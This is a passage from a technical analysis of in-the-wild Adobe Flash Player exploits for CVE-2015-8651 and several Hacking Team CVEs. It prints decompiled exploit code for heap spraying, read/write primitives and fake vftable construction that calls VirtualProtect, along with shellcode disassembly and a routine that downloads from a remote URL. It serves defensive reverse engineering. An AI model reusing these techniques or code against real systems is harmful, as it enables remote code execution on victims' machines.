So, the strategy the attacker is taking is allocating specific size of heap area using *ByteArray* allocation and linking it to *freelists* so that it can be claimed by JIT generator that is called regularly by the event handler. In this way, the exploit can change RW mode protection of the target memory to RX mode. One finding here is that when the new JIT area is initialized, the contents of the target memory is not initialized, so in this case old *ByteArray* contents, which have shellcode bytes in them, are not cleared up from the JIT area. These shellcode bytes will later be used for the target of code execution.

This issue has been fixed by initializing existing memory contents before re-using the *freelists* memory block from JIT generators. This will effectively clean-up any shellcode written on a fake *freelists* block and will neutralize this attack method.

MethodInfo._implGPR corruption

The *Angler* exploit that was found in the wild for CVE-2015-8651 used the *MethodInfo._implGPR* corruption method. The *MethodInfo._implGPR* is a function pointer defined like the following.

```
/**
 * Base class for MethodInfo which contains invocation pointers. These
 * pointers are private to the ExecMgr instance and hence declared here.
 */
class GC_CPP_EXACT(MethodInfoProcHolder, MMgc::GCTraceableObject)
{
 ...

private:
 union {
  GprMethodProc _implGPR; <---
  FprMethodProc _implFPR
  FLOAT_ONLY(VecrMethodProc _implVECR;)
 };
```

Figure 67 _implGPR member

This function pointer is referenced when a call to JIT code returns.

```
Atom BaseExecMgr::endCoerce(MethodEnv* env, int32_t argc, uint32_t *ap, MethodSignaturep ms)
{
 ...
 AvmCore* core = env->core();
 const int32_t bt = ms->returnTraitsBT();

 switch(bt){
 ...
 default:
 {
  STACKADJUST(); // align stack for 32-bit Windows and MSVC compiler
  const Atom i = (*env->method->_implGPR)(env, argc, ap);
  STACKRESTORE();
  ...
```

Figure 68 _implGPR function pointer is called upon JIT function return

To achieve the *_implGPR* corruption, *CustomByteArray* objects are sprayed on the heap first. *CustomByteArray* is declared like following.

```
public class CustomByteArray extends ByteArray
 {

   private static const _SafeStr_35:_SafeStr_10 = _SafeStr_10._SafeStr_36();

   public var _SafeStr_625:uint = 0xFFEEDD00;
   public var _SafeStr_648:uint = 4293844225;
   public var _SafeStr_629:uint = 0xF0000000;
   public var _SafeStr_631:uint = 0xFFFFFFFF;
   public var _SafeStr_633:uint = 0xFFFFFFFF;
   public var _SafeStr_635:uint = 0;
   public var _SafeStr_628:uint = 0xAAAAAAAA;
   public var _SafeStr_630:uint = 0xAAAAAAAA;
   public var _SafeStr_632:uint = 0xAAAAAAAA;
   public var _SafeStr_634:uint = 0xAAAAAAAA;
   public var _SafeStr_649:uint = 4293844234;
   public var _SafeStr_650:uint = 4293844235;
   public var _SafeStr_651:uint = 4293844236;
   public var _SafeStr_652:uint = 4293844237;
   public var _SafeStr_653:uint = 4293844238;
   public var _SafeStr_626:uint = 4293844239;
   public var _SafeStr_654:uint = 4293844240;
   public var _SafeStr_655:uint = 4293844241;
   public var _SafeStr_656:uint = 4293844242;
   public var _SafeStr_657:uint = 4293844243;
   public var _SafeStr_658:uint = 4293844244;
   public var _SafeStr_659:uint = 4293844245;
   public var _SafeStr_660:uint = 4293844246;
   public var _SafeStr_661:uint = 4293844247;
   public var _SafeStr_662:uint = 4293844248;
   public var _SafeStr_663:uint = 4293844249;
   public var _SafeStr_664:uint = 4293844250;
   public var _SafeStr_665:uint = 4293844251;
   public var _SafeStr_666:uint = 4293844252;
   public var _SafeStr_667:uint = 4293844253;
   public var _SafeStr_668:uint = 4293844254;
   public var _SafeStr_669:uint = 4293844255;
   public var _SafeStr_164:Object; <---
   private var _SafeStr_670:Number;
                              ...
   private var _SafeStr_857:Number;
   private var static:Number;
   private var _SafeStr_858:Number;
                              ...
   private var _SafeStr_891:Number;

   public function CustomByteArray(_arg_1:uint)
   {
     endian = _SafeStr_35.l[_SafeStr_35.Illl];
     this._SafeStr_164 = this;
     this._SafeStr_653 = _arg_1;
     return;
     return;
   }

 }
```

Figure 69 CustomByteArray class

The *_SafeStr_164* member will be pointing to *_SafeStr_16._SafeStr_340 MethodClosure*. And this *_SafeStr_164 MethodClosure* pointer is the corruption target. The *_SafeStr_340* is defined as a function with a static type and various argument functions. The method merely has one line of code inside it.

```
// _SafeStr_16 = "while with" (String#127, DoABC#2)
// _SafeStr_340 = "const while" (String#847, DoABC#2)
 public class _SafeStr_16
 {
...
   private static function _SafeStr_340(... _args):uint <-- Corruption target method
   {
     return (0);
   }
```

Figure 70 Corruption target method

Heap spray is used to make sure the *CustomByteArray* object is always located at the specific address of *0x0f4a0020*.

```
0:000> dd 0f4a0020 <--- CustomByteArray is allocated at predictable address
0f4a0020 595c5e54 20000006 1e0e3ba0 1e1169a0
0f4a0030 0f4a0038 00000044 595c5da4 595c5db8
0f4a0040 595c5dac 595c5dc0 067acca0 07501000
0f4a0050 0af19538 00000000 00000000 2e0b6278
0f4a0060 594f2b6c 0f4a007c 00000000 00000000
0f4a0070 595c5db0 00000003 00000001*ffeedd00* <-- Start of object member data (public var _SafeStr_625:uint = 0xFFEEDD00)
0f4a0080 ffeedd01 f0000000 ffffffff ffffffff
0f4a0090 00000000 50cefe43 5f3101bc 5f3101bc
0f4a00a0 a0cefe43 ffeedd0a ffeedd0b ffeedd0c
0f4a00b0 ffeedd0d 00000f85 ffeedd0f ffeedd10
0f4a00c0 ffeedd11 ffeedd12 ffeedd13 ffeedd14
0f4a00d0 ffeedd15 ffeedd16 ffeedd17 ffeedd18
0f4a00e0 ffeedd19 ffeedd1a ffeedd1b ffeedd1c
0f4a00f0 ffeedd1d ffeedd1e ffeedd1f*16e7f371* <-- public var _SafeStr_164:Object (points to _SafeStr_16._SafeStr_340 MethodClosure)
0f4a0100 e0000000 7fffffff e0000000 7fffffff
0f4a0110 e0000000 7fffffff e0000000 7fffffff
0f4a0120 e0000000 7fffffff e0000000 7fffffff
0f4a0130 e0000000 7fffffff e0000000 7fffffff
0f4a0140 e0000000 7fffffff e0000000 7fffffff
0f4a0150 e0000000 7fffffff e0000000 7fffffff
0f4a0160 e0000000 7fffffff e0000000 7fffffff
0f4a0170 e0000000 7fffffff e0000000 7fffffff
```

Figure 71 Memory dump of CustomByteArray object

The following log shows how the exploit searches for the *MethodInfo._implGPR* field to corrupt and how it overwrites the pointer with shellcode address. The address for the *MethodClosure* object is at 0x16e7f370=0x16e7f371&0xfffffffe. And the pointer traversing starts from there.

```
* ReadInt: 0f4a00fc 16e7f371 ← CustomByteArray is at 0f4a0000
* ReadInt: 16e7f38c 068cdcb8 ← MethodClosure structure is at 16e7f370. Next pointer offset is 16e7f38c-16e7f370=1c.
* ReadInt: 068cdcc0 1e0b6270 ← MethodEnv structure is at 068cdcb8 . Next pointer offset is 068cdcc0-068cdcb8=8
* WriteInt: 1e0b6274 0b8cdcb0 (_SafeStr_340) -> 01fb0000 (Shellcode) ← Overwriting MethodInfo._impGPR pointer to shellcode location
```

Figure 72 Locating and corrupting MethodInfo._implGPR field

CustomByteArray (0x0f4a0020)._SafeStr_164 -> *MethodClosure* (0x 16e7f370) -> *MethodEnv* (0x068cdcb8) -> *MethodInfo* (0x1e0b6270) -> *MethodInfo._implGPR* (0x1e0b6274)

The pointer at *MethodInfo._implGPR* (0x1e0b6274) is 0x0b8cdcb0. The disassembled code from the location looks like the following.

```
0b8cdcb0 55       push  ebp
0b8cdcb1 8bec      mov   ebp,esp
0b8cdcb3 90       nop
0b8cdcb4 83ec18     sub   esp,18h
0b8cdcb7 8b4d08     mov   ecx,dword ptr [ebp+8]
0b8cdcba 8d45f0     lea   eax,[ebp-10h]
0b8cdcbd 8b1550805107  mov   edx,dword ptr ds:[7518050h]
0b8cdcc3 894df4     mov   dword ptr [ebp-0Ch],ecx
0b8cdcc6 8955f0     mov   dword ptr [ebp-10h],edx
0b8cdcc9 890550805107  mov   dword ptr ds:[7518050h],eax
0b8cdccf 8b1540805107  mov   edx,dword ptr ds:[7518040h]
0b8cdcd5 3bc2      cmp   eax,edx
0b8cdcd7 7305      jae   0b8cdcde
0b8cdcd9 e8c231604d   call  Flash!IAEModule_IAEKernel_UnloadModule+0x1fd760 (58ed0ea0)
0b8cdcde 33c0      xor   eax,eax
0b8cdce0 8b4df0     mov   ecx,dword ptr [ebp-10h]
0b8cdce3 890d50805107  mov   dword ptr ds:[7518050h],ecx
0b8cdce9 8be5      mov   esp,ebp
0b8cdceb 5d       pop   ebp
0b8cdcec c3       ret
```

Figure 73 Original disassembly from impGPR pointer address

The following code shows the shellcode disassembly routine that is pointed to by modified *MethodInfo._impGPR*.

```
0:000> u 01fb0000
01fb0000 60       pushad
01fb0001 e802000000   call  01fb0008
01fb0006 61       popad
01fb0007 c3       ret
01fb0008 e900000000   jmp   01fb000d
01fb000d 56       push  esi
01fb000e 57       push  edi
01fb000f e83b000000   call  01fb004f
01fb0014 8bf0      mov   esi,eax
01fb0016 8bce      mov   ecx,esi
01fb0018 e86f010000   call  01fb018c
01fb001d e88f080000   call  01fb08b1
01fb0022 33c9      xor   ecx,ecx
01fb0024 51       push  ecx
01fb0025 51       push  ecx
01fb0026 56       push  esi
01fb0027 05cb094000   add   eax,4009CBh
01fb002c 50       push  eax
01fb002d 51       push  ecx
01fb002e 51       push  ecx
01fb002f ff560c     call  dword ptr [esi+0Ch]
01fb0032 8bf8      mov   edi,eax
01fb0034 6aff      push  0FFFFFFFFh
01fb0036 57       push  edi
01fb0037 ff5610     call  dword ptr [esi+10h]
01fb003a 57       push  edi
01fb003b ff5614     call  dword ptr [esi+14h]
01fb003e 5f       pop   edi
01fb003f 33c0      xor   eax,eax
01fb0041 5e       pop   esi
01fb0042 c3       ret
```

Figure 74 Shellcode

After *MethodInfo._impGPR* corruption, one of the calls using *call.apply* or *call.call* upon *_SafeStr_340* method closure will trigger execution of the shellcode.

```
private function _SafeStr_355(_arg_1:*)
{
  return (_SafeStr_340.call.apply(null, _arg_1));
}

private function _SafeStr_362()
{
  return (_SafeStr_340.call(null));
}
```

Figure 75 Code to trigger shellcode

FunctionObject corruption

FunctionObject corruption has been observed multiple times from different exploits. Especially, the exploits originated from Hacking Team (CVE-2015-0349, CVE-2015-5119, CVE-2015-5122, CVE-2015-5123) shows this technique.

The following is the declarations of *AS3_call* and *AS3_apply* methods defined for *FunctionObject*.

```
class GC_AS3_EXACT(FunctionObject, ClassClosure)
{
  ...
  // AS3 native methods
  int32_t get_length();
  Atom AS3_call(Atom thisAtom, Atom *argv, int argc);
  Atom AS3_apply(Atom thisAtom, Atom argArray);
  …
```

Figure 76 AS3_call and AS3_apply declarations

```
Atom FunctionObject::AS3_apply(Atom thisArg, Atom argArray)
{
  thisArg = get_coerced_receiver(thisArg);
  ….
  if (!AvmCore::isNullOrUndefined(argArray))
  {
    AvmCore* core = this->core();
    …
    return core->exec->apply(get_callEnv(), thisArg, (ArrayObject*)AvmCore::atomToScriptObject(argArray));
  }
```

Figure 77 FunctionObject::AS3_apply

```
/**
 * Function.prototype.call()
 */
Atom FunctionObject::AS3_call(Atom thisArg, Atom *argv, int argc)
{
  thisArg = get_coerced_receiver(thisArg);
  return core()->exec->call(get_callEnv(), thisArg, argc, argv);
}
```

Figure 78 FunctionObject::AS3_apply

The following shows *ExecMgr* class which is referenced from *FunctionObject::AS3_call* and *FunctionObject::AS3_apply* methods.

```
class ExecMgr
{
 ...
  /** Invoke a function apply-style, by unpacking arguments from an array */
  virtual Atom apply(MethodEnv*, Atom thisArg, ArrayObject* a) = 0;
  /** Invoke a function call-style, with thisArg passed explicitly */
  virtual Atom call(MethodEnv*, Atom thisArg, int32_t argc, Atom* argv) = 0;
```

Figure 79 ExecMgr apply and call

This exploit for CVE-2015-8651 originated from DUBNIUM campaign used a very specific method of corrupting *FunctionObject* and using *apply* and *call* method of the object to achieve shellcode execution. This method has close similarity to the exploit method that was disclosed during the Hacking Team leak in July 2015.

```
package
{
  public class Trigger
  {
    public static function dummy(... _args):void
    {
    }
  }
}
```

Figure 80 Trigger class with dummy function

The following code shows how the *FunctionObject*'s *vftable* is acquired through leaked object address.

```
      Trigger.dummy();
      var _local_1:uint = getObjectAddr(Trigger.dummy);
      var _local_6:uint = read32(((read32((read32((read32((_local_1 + 0x08)) + 0x14)) + 0x04)) + ((isDbg) ? 0xBC : 0xB0)) + (isMitis * 0x04)));
← _local_6 holds address to FunctionObject vptr pointer
      var _local_5:uint = read32(_local_6);
```

Figure 81 Resolving FunctionObject vptr address

Low level object offset calculations are performed, and the offsets used here are relevant to the Adobe Flash Player's internal data structure and how they are linked together in the memory.

This leaked *vftable* pointer is later overwritten with a fake *vftable*'s address. The fake *vftable* itself is cloned from the original one and the pointer to the *apply* method is replaced with the *VirtualProtect* API. Later, when the *apply* method is called upon the dummy *FunctionObject*, it will actually call the *VirtualProtect* API with supplied arguments, not the original empty call body. The supplied arguments are pointing to the memory area that is used for temporary shellcode storage. The memory area is made RWX (read/write/executable) through this method.

```
var virtualProtectAddr:uint = getImportFunctionAddr("kernel32.dll", "VirtualProtect"); ← resolving kernel32!VirtualProtect address
if (!virtualProtectAddr)
{
 return (false);
};
var _local_3:uint = read32((_local_1 + 0x1C));
var _local_4:uint = read32((_local_1 + 0x20));

//Build fake vftable
var _local_9:Vector.<uint> = new Vector.<uint>(0x00);
var _local_10:uint;
while (_local_10 < 0x0100)
{
 _local_9[_local_10] = read32(((_local_5 - 0x80) + (_local_10 * 0x04)));
 _local_10++;
};

//Replace vptr
_local_9[0x27] = virtualProtectAddr;
var _local_2:uint = getAddrUintVector(_local_9);
write32(_local_6, (_local_2 + 0x80)); ← _local_6 holds the pointer to FunctionObject
write32((_local_1 + 0x1C), execMemAddr); ← execMemAddr points to the shellcode memory
write32((_local_1 + 0x20), 0x1000);
var _local_8:Array = new Array(0x41);
Trigger.dummy.call.apply(null, _local_8); ← call kernel32!VirtualProtect upon shellcode memory
```

Figure 82 Call VirtualProtect through apply method

The following is the assembly code that handles the *apply* method from the *call* prototype.

```
6cb92679 b000      mov   al,0
6cb9267b 0000      add   byte ptr [eax],al
6cb9267d 8b11      mov   edx,dword ptr [ecx] <--- read corrupt vftable 07e85064
6cb9267f 83e7f8      and   edi,0FFFFFFF8h
6cb92682 57      push  edi
6cb92683 53      push  ebx
6cb92684 50      push  eax
6cb92685 8b4218      mov   eax,dword ptr [edx+18h]
6cb92688 ffd0      call  eax ← Calls kernel32!VirtualProtect
```

Figure 83 vftable corruption

When the exploit replaces the pointer pointed by *ecx* on 0x6cb9267d, it will lead to call to *VirtualProtect* API call. The following log shows the part where the overwriting happens.

```
WriteInt 07e85064 6d19a0b0 -> 087d98c0 ← Corrupt vftable pointer
```

Figure 84 Corrupting vftable pointer

```
0:031> dds ecx
07e85064 080af90c ← pointer to vftable
07e85068 07e7a020
07e8506c 07e7a09c
07e85070 00000000
07e85074 00000000
07e85078 6d19cc70
07e8507c 651864fd
```

Figure 85 Pointer at 0x07e85064 holds corrupt pointer to fake vftable

The function pointer to the *AS3_apply* method is corrupt to *VirtualProtect*.

```
0:031> dds edx
080af90c 6cb72770
080af910 6cb72610
080af914 6cb73990
080af918 6cb73a10
080af91c 6cb9d490
080af920 6cd8b340
080af924 6cb73490
080af928 75dc4317 kernel32!VirtualProtect <---- corrupt vptr
080af92c 6cb72960
080af930 6cab4830
080af934 6cb73a50
...
```

Figure 86 Fake vftable with VirtualProtect pointer overwritten over AS3_apply pointer

Once the RWX memory area is reserved through *VirtualProtect* call, the exploit uses the *call* method of *FunctionObject* to perform further code execution. The reason why it doesn't use the *apply* method is because it doesn't need to pass any arguments anymore. Calling the *call* method is also simpler.

```
    Trigger.dummy();
    var _local_2:uint = getObjectAddr(Trigger.dummy);
    var functionObjectVptr:uint = read32(((read32((read32((read32((_local_2 + 0x08)) + 0x14)) + 0x04)) + ((isDbg) ? 0xBC : 0xB0)) + (isMitis
* 0x04))); ← Locate FunctionObject vptr pointer in memory
    var _local_3:uint = read32(_local_4);
    if ((((!((sc == null)))) && ((!((sc == execMem))))))
    {
      execMem.position = 0x00;
      execMem.writeUnsignedInt((execMemAddr + 0x04));
      execMem.writeBytes(sc);
    };
    write32(functionObjectVptr, (execMemAddr - 0x1C)); ← 0x1C is the call pointer offset in vptr
    Trigger.dummy.call(null);
```

Figure 87 Shellcode execution through call method

This shellcode running routine is highly modularized and you can actually use API names and arguments to be passed to the shellcode running utility function. This makes shellcode building and running very extensible.

```
      _local_5 = _se.callerEx("WinINet!InternetOpenA", new <Object>["stilife", 0x01, 0x00, 0x00, 0x00]);
      if (!_local_5)
      {
       return (false);
      };
      _local_18 = _se.callerEx("WinINet!InternetOpenUrlA", new <Object>[_local_5, _se.BAToStr(_se.h2b(_se.urlID)), 0x00, 0x00,
0x80000000, 0x00]);
      if (!_local_18)
      {
       _se.callerEx("WinINet!InternetCloseHandle", new <Object>[_local_5]);
       return (false);
      };
```

Figure 88 Part of shellcode call routines

With this exploit, shellcode is not a contiguous memory area, but various shellcodes are called through separate *call* methods. We can track these calls by putting a breakpoint on the native code that performs the ActionScript *call* method. For example, the following disassembly shows the code that calls the *InternetOpenUrlA* API call.

```
* AS3 Call
08180024 b80080e90b   mov   eax,0BE98000h
08180029 94       xchg  eax,esp
0818002a 93       xchg  eax,ebx
0818002b 6800000000   push  0
08180030 6800000000   push  0
08180035 6800000000   push  0
0818003a 6801000000   push  1
0818003f 68289ed40b   push  0BD49E28h
08180044 b840747575   mov   eax,offset WININET!InternetOpenA (75757440) ← Call to WININET! InternetOpenA
08180049 ffd0      call  eax
0818004b bf50eed40b   mov   edi,0BD4EE50h
```

Figure 89 InternetOpenUrlA shellcode

This method of using FunctionObject corruption bypasses CFG for IE11 on Windows 10 or 8.1, but latest Edge on Windows 10 is protected against this attack.

Conclusion

There is not much freedom when you reverse engineer Adobe Flash Player exploits. First, Flash Player itself is a huge binary with any symbols provided to the researchers. Second, a lot of logic related to the exploit and the vulnerability itself is happening inside *AVM2*. This is very problematic for the researchers since there are not many tools that enable them to instrument or debug malicious SWF files. The tactic we are presenting is starting from instrumenting byte code and putting helper code that can be used tactically for Flash module or JIT level debugging. We found that just instrumenting *ByteArray*-related code helps a lot with debugging since many exploits still rely on *ByteArray.length* corruption for their RW primitives.

We also found that recent exploits are focusing on *MMgc* memory parsing and traversing the objects to get access to the internal data structures. Because a lot of internal data structures can be potentially abused to code execution once RW primitives are acquired, it is basically a moving target. Making access to internal *MMgc* structures using randomization technique on the allocation of internal structures or more entropy with memory allocation might lower the success rate of the exploits. One distinct fact is that modern Flash exploits don’t even need much heap spraying. A few megabytes of heap spraying is very effective because the heap layout is sometimes very predictive. Recently, this predictableness of heap layout and heap address is actively abused by Adobe Flash Player exploits.

Appendix

Samples used

CVE-ID	SHA1	Discussed techniques
CVE-2015-0336	2ae7754c4dbec996be0bd2bbb06a3d7c81dc4ad7	*vftable* corruption
CVE-2015-5122	e695fbeb87cb4f02917e574dabb5ec32d1d8f787	*Vector.length* corruption
CVE-2015-7645	2df498f32d8bad89d0d6d30275c19127763d5568	*ByteArray.length* corruption
CVE-2015-8446	48b7185a5534731726f4618c8f655471ba13be64 c2cee74c13057495b583cf414ff8de3ce0fdf583	*GCBlock* structure abuse JIT stack corruption
CVE-2015-8651 (DUBNIUM)		*FunctionObject* corruption
CVE-2015-8651 (Angler)	10c17dab86701bcdbfc6f01f7ce442116706b024	*MethodInfo._implGPR* corruption
CVE-2016-1010	6fd71918441a192e667b66a8d60b246e4259982c	*ConvolutionFilter.matrix* to *tabStops* type-confusion *MMgc* parsing JIT stack corruption